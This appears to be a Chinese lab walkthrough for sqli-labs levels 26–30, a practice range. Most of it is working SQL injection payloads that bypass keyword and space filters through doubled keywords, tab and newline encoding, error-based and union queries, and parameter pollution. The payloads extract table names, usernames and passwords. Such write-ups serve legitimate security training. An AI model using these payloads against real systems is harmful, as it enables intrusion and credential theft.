sqli-labs靶场第26-30关

第26关

这关将逻辑运算符,注释符以及空格给过滤了

我们先使用单引号进行闭合

这时我们查看源代码可以看到这一关过滤了很多字符

可以看到这里将or and / -- # 空格等字符都被注释了

空格被过滤了我们可以使用()来代替,and和or可以使用双写来绕过

因为报错注入空格少,所以这里我们使用报错注入

查询数据库名

复制代码
?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1

查询表名字段名以及字段下的数据

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))aandnd'1 
复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))aandnd'1
复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))aandnd'1

我们获取到了数据库的数据自此通关

第26-a关

这关的闭合方式与26关不同,需要闭合')

复制代码
?id=1'aandnd'1

我们让页面报错发现页面没有报错只有一个警告

这里我们就不能使用报错注入了,所以我们使用布尔盲注

第27关

查看是否可以控制

?id=1

?id=2

可以控制

查看代码是否能直接在MySQL中执行

?id=1'

我们现在找一下他的闭合是什么

我们先试一下--+

发现网站给我们过滤掉了

这时我们试一下 and'1 闭合

页面回显正常说明网站不会过滤 and'1 得到网站是字符型

使用order by排序或者group by分组来猜测表有几个字段

我们猜测它有三列

?id=1' order by 4 and'1

我们发现输入的时候它给我们把空格过滤掉了所以我们使用%09 替换空格

%09 utf-8 可以当空格使用

我们猜测他有四列

?id=1%27%09order%09by%094%09and%271

回显成功

我们猜测它有七列

这时也回显成功,继续试的时候也是这样

发现使用 order by 不管用了,这时我们继续下一步,我们使用联合查询来猜

使用联合查询union select查看回显

复制代码
?id=9999%27%09uNion%09sElect%091,2,3%09and%09%271

我们查看到 2 回显数据

通过内置表查询数据

(1)使用联合查询查看表的名字

复制代码
?id=999%27%09uNion%09sElect%091,database(),3%09and%271

表的名字为security

(2)使用联合查询查看security中的所有表名

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3%09and%271

看到security中有四个表我们要查看的表为users

(3)继续使用联合查询查看users的所有字段名

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'),3%09and%271

可以看到表中的名字id,username,password

(4)使用联合查询查看表中的数据

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(id,username,password)%09from%09users),3%09and%271

获得表格中的所有账号密码。

第 28 关

该关卡过滤了注释符空格还过滤了union和select,所以我们可以使用重写绕过

查询数据库名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),3%0Aand('1

查询表名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

查字段名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

查数据

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(id,username,password)%0Afrom%0Ausers%0Aand%0A('1

第 28-a 关

该关卡只过滤union+select其他没有过滤

直接使用联合查询就行

第 29 关

这关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

查询表名,字段名,数据

复制代码
?id=1&id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
复制代码
?id=1&id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码
?id=1&id=-2' union select 1,group_concat(password,username),3 from users--+

第三十关

第三十关和二十九关差不多,将单引号换成双引号

查询表名,字段名,数据

复制代码
?id=1&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
复制代码
?id=1&id=-2" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码
?id=1&id=-2" union select 1,group_concat(password,username),3 from users--+
相关推荐
超级迅猛龙1 分钟前
保姆级Debezium抽取SQL Server同步kafka
数据库·hadoop·mysql·sqlserver·kafka·linq·cdc
杨过过儿21 分钟前
【Task02】:四步构建简单rag(第一章3节)
android·java·数据库
····懂···1 小时前
攻克PostgreSQL专家认证
数据库·postgresql
每天都在想吃啥1 小时前
day31 SQLITE
数据库·sqlite
m0_748254094 小时前
2025最新华为云国际版注册图文流程-不用绑定海外信用卡注册
服务器·数据库·华为云
大新屋4 小时前
MongoDB 分片集群修改管理员密码
数据库·mongodb
ejinxian5 小时前
MySQL/Kafka数据集成同步,增量同步及全量同步
数据库·mysql·kafka
未来之窗软件服务5 小时前
数据库优化提速(一)之进销存库存管理—仙盟创梦IDE
数据库·sql·数据库调优
Mapmost5 小时前
信创浪潮下的GIS技术变革:从自主可控到生态繁荣
数据库
foundbug9996 小时前
Node.js导入MongoDB具体操作
数据库·mongodb·node.js